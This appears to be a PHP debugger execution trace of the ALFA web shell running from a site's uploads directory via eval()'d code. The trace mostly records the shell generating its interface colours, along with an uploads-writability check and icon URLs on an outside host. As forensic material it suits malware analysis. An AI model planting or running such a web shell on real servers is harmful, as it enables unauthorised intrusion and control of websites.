6	167	0	0.040614	3527760	__showicon	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1386	1	'alfamini'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2002	$s['btn'] = 'http://solevisible.com/images/btn.png'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2003	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2004	$s['loader'] = 'http://solevisible.com/images/loader.png'
6	167	1	0.040672	3527760
6	167	R			'http://solevisible.com/images/alfamini.png'
6	168	0	0.040689	3527760	__showicon	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1386	1	'alfamini'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2002	$s['btn'] = 'http://solevisible.com/images/btn.png'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2003	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2004	$s['loader'] = 'http://solevisible.com/images/loader.png'
6	168	1	0.040748	3527760
6	168	R			'http://solevisible.com/images/alfamini.png'
6	169	0	0.040763	3527760	__showicon	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1386	1	'btn'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2002	$s['btn'] = 'http://solevisible.com/images/btn.png'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2003	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	2004	$s['loader'] = 'http://solevisible.com/images/loader.png'
6	169	1	0.040822	3527760
6	169	R			'http://solevisible.com/images/btn.png'
6	170	0	0.040841	3531856	is_writable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1387	1	'/var/www/html/uploads/'
6	170	1	0.040861	3531896
6	170	R			TRUE
6	171	0	0.040875	3531856	alfaCssLoadColors	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1393	0
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	601	$css = ''
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'shell_border'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.header'
7	172	0	0.040930	3531856	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'shell_border'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
7	172	1	0.040968	3531856
7	172	R			'#0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#0E304A'
7	173	0	0.040996	3531856	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#0E304A'	'border: 7px solid {color}'
7	173	1	0.041014	3532008
7	173	R			'border: 7px solid #0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'border: 7px solid #0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.header{border: 7px solid #0E304A}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '#meunlist'
7	174	0	0.041071	3531976	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'shell_border'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
7	174	1	0.041108	3531976
7	174	R			'#0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#0E304A'
7	175	0	0.041135	3531976	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#0E304A'	'border-color: {color}'
7	175	1	0.041151	3532120
7	175	R			'border-color: #0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'border-color: #0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '#meunlist{border-color: #0E304A}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '#hidden_sh'
7	176	0	0.041206	3532000	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'shell_border'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
7	176	1	0.041247	3532000
7	176	R			'#0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#0E304A'
7	177	0	0.041274	3532000	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#0E304A'	'background-color: {color}'
7	177	1	0.041291	3532152
7	177	R			'background-color: #0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'background-color: #0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '#hidden_sh{background-color: #0E304A}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.ajaxarea'
7	178	0	0.041346	3532040	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'shell_border'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
7	178	1	0.041383	3532040
7	178	R			'#0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#0E304A'
7	179	0	0.041409	3532040	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
7	179	1	0.041426	3532192
7	179	R			'border: 1px solid #0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'border: 1px solid #0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.ajaxarea{border: 1px solid #0E304A}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.foot'
7	180	0	0.041482	3532104	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'shell_border'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
7	180	1	0.041518	3532104
7	180	R			'#0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#0E304A'
7	181	0	0.041544	3532104	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#0E304A'	'border-color: {color}'
7	181	1	0.041560	3532248
7	181	R			'border-color: #0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'border-color: #0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.foot{border-color: #0E304A}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'header_vars'
7	182	0	0.041615	3532096	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'header_vars'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#27979B'
7	182	1	0.041643	3532096
7	182	R			'#27979B'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#27979B'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.header_vars{color: #27979B;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'header_values'
7	183	0	0.041696	3532128	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'header_values'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#67ABDF'
7	183	1	0.041724	3532128
7	183	R			'#67ABDF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#67ABDF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.header_values{color: #67ABDF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'header_on'
7	184	0	0.041780	3532160	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'header_on'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#00FF00'
7	184	1	0.041808	3532160
7	184	R			'#00FF00'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#00FF00'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.header_on{color: #00FF00;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'header_off'
7	185	0	0.041859	3532224	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'header_off'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#ff0000'
7	185	1	0.041887	3532224
7	185	R			'#ff0000'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#ff0000'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.header_off{color: #ff0000;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'header_none'
7	186	0	0.041939	3532224	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'header_none'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#00FF00'
7	186	1	0.041966	3532224
7	186	R			'#00FF00'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#00FF00'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.header_none{color: #00FF00;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'home_shell'
7	187	0	0.042017	3532288	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'home_shell'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#ff0000'
7	187	1	0.042045	3532288
7	187	R			'#ff0000'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#ff0000'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.home_shell{color: #ff0000;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'home_shell:hover'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.home_shell:hover'
7	188	0	0.042109	3532288	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'home_shell:hover'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.home_shell:hover' => 'color: {color};']]
7	188	1	0.042142	3532288
7	188	R			'#FFFFFF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#FFFFFF'
7	189	0	0.042168	3532288	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#FFFFFF'	'color: {color};'
7	189	1	0.042185	3532424
7	189	R			'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.home_shell:hover{color: #FFFFFF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'back_shell'
7	190	0	0.042239	3532344	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'back_shell'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#efbe73'
7	190	1	0.042271	3532344
7	190	R			'#efbe73'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#efbe73'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.back_shell{color: #efbe73;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'back_shell:hover'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.back_shell:hover'
7	191	0	0.042336	3532344	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'back_shell:hover'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.back_shell:hover' => 'color: {color};']]
7	191	1	0.042369	3532344
7	191	R			'#FFFFFF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#FFFFFF'
7	192	0	0.042394	3532344	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#FFFFFF'	'color: {color};'
7	192	1	0.042411	3532480
7	192	R			'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.back_shell:hover{color: #FFFFFF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'header_pwd'
7	193	0	0.042465	3532408	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'header_pwd'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#00FF00'
7	193	1	0.042492	3532408
7	193	R			'#00FF00'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#00FF00'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.header_pwd{color: #00FF00;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'header_pwd:hover'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.header_pwd:hover'
7	194	0	0.042556	3532408	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'header_pwd:hover'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_pwd:hover' => 'color: {color};']]
7	194	1	0.042589	3532408
7	194	R			'#FFFFFF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#FFFFFF'
7	195	0	0.042614	3532408	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#FFFFFF'	'color: {color};'
7	195	1	0.042631	3532544
7	195	R			'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.header_pwd:hover{color: #FFFFFF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'header_drive'
7	196	0	0.042684	3532536	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'header_drive'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#00FF00'
7	196	1	0.042712	3532536
7	196	R			'#00FF00'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#00FF00'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.header_drive{color: #00FF00;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'header_drive:hover'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.header_drive:hover'
7	197	0	0.042781	3532536	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'header_drive:hover'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_drive:hover' => 'color: {color};']]
7	197	1	0.042814	3532536
7	197	R			'#FFFFFF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#FFFFFF'
7	198	0	0.042839	3532536	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#FFFFFF'	'color: {color};'
7	198	1	0.042856	3532672
7	198	R			'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.header_drive:hover{color: #FFFFFF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'header_show_all'
7	199	0	0.042909	3532536	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'header_show_all'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#00FF00'
7	199	1	0.042937	3532536
7	199	R			'#00FF00'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#00FF00'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.header_show_all{color: #00FF00;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'disable_functions'
7	200	0	0.042989	3532536	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'disable_functions'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#ff0000'
7	200	1	0.043017	3532536
7	200	R			'#ff0000'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#ff0000'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.disable_functions{color: #ff0000;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'footer_text'
7	201	0	0.043070	3532664	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'footer_text'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#27979B'
7	201	1	0.043098	3532664
7	201	R			'#27979B'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#27979B'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.footer_text{color: #27979B;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'menu_options'
7	202	0	0.043151	3532664	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'menu_options'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#27979B'
7	202	1	0.043178	3532664
7	202	R			'#27979B'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#27979B'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.menu_options{color: #27979B;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'menu_options:hover'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.menu_options:hover'
7	203	0	0.043244	3532664	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'menu_options:hover'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#646464', 'multi_selector' => ['.menu_options:hover' => 'background-color: {color};font-weight: unset;']]
7	203	1	0.043282	3532664
7	203	R			'#646464'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#646464'
7	204	0	0.043309	3532664	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#646464'	'background-color: {color};font-weight: unset;'
7	204	1	0.043326	3532840
7	204	R			'background-color: #646464;font-weight: unset;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'background-color: #646464;font-weight: unset;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.menu_options:hover{background-color: #646464;font-weight: unset;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'options_list'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.ajaxarea .header center a'
7	205	0	0.043399	3532832	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'options_list'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#00FF00', 'multi_selector' => ['.ajaxarea .header center a' => 'color: {color};']]
7	205	1	0.043433	3532832
7	205	R			'#00FF00'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#00FF00'
7	206	0	0.043459	3532832	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#00FF00'	'color: {color};'
7	206	1	0.043475	3532968
7	206	R			'color: #00FF00;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #00FF00;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.ajaxarea .header center a{color: #00FF00;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'options_list:hover'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.ajaxarea .header center a:hover'
7	207	0	0.043545	3532792	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'options_list:hover'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.ajaxarea .header center a:hover' => 'color: {color};']]
7	207	1	0.043579	3532792
7	207	R			'#FFFFFF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#FFFFFF'
7	208	0	0.043605	3532792	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#FFFFFF'	'color: {color};'
7	208	1	0.043622	3532928
7	208	R			'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.ajaxarea .header center a:hover{color: #FFFFFF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'options_list_header'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.txtfont_header'
7	209	0	0.043691	3532792	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'options_list_header'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#59cc33', 'multi_selector' => ['.txtfont_header' => 'color: {color};']]
7	209	1	0.043724	3532792
7	209	R			'#59cc33'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#59cc33'
7	210	0	0.043750	3532792	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#59cc33'	'color: {color};'
7	210	1	0.043770	3532928
7	210	R			'color: #59cc33;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #59cc33;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.txtfont_header{color: #59cc33;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'options_list_text'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.txtfont,.tbltxt'
7	211	0	0.043839	3532920	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'options_list_text'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.txtfont,.tbltxt' => 'color: {color};']]
7	211	1	0.043873	3532920
7	211	R			'#FFFFFF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#FFFFFF'
7	212	0	0.043899	3532920	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#FFFFFF'	'color: {color};'
7	212	1	0.043916	3533056
7	212	R			'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.txtfont,.tbltxt{color: #FFFFFF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'Alfa+'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.alfa_plus'
7	213	0	0.043983	3532920	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'Alfa+'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#27E8AE', 'multi_selector' => ['.alfa_plus' => 'color: {color};font-weight: unset;']]
7	213	1	0.044021	3532920
7	213	R			'#27E8AE'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#27E8AE'
7	214	0	0.044143	3532920	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#27E8AE'	'color: {color};font-weight: unset;'
7	214	1	0.044166	3533080
7	214	R			'color: #27E8AE;font-weight: unset;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #27E8AE;font-weight: unset;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.alfa_plus{color: #27E8AE;font-weight: unset;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'hidden_shell_text'
